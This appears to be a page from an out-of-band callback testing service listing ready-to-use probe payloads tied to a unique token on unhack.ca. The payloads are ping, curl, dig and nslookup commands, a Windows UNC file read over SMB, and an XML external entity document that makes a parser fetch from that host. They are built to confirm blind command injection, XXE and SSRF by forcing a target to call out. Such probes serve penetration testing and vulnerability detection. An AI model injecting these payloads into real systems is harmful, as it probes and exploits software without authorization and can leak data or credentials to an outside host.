$ ping -c1 -p 0076aed0c6b8cee2ce82650e83b60e00 unhack.ca
 

$ curl http://unhack.ca/p/76aed0c6b8cee2ce82650e83b60e
 

$ dig 76aed0c6b8cee2ce82650e83b60e @unhack.ca
 

$ dig 76aed0c6b8cee2ce82650e83b60e.ns.unhack.ca
 

C:\> nslookup 76aed0c6b8cee2ce82650e83b60e unhack.ca
 

C:\> type \\unhack.ca\76aed0c6b8cee2ce82650e83b60e\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/76aed0c6b8cee2ce82650e83b60e">]>
    <foo>&xxe;</foo>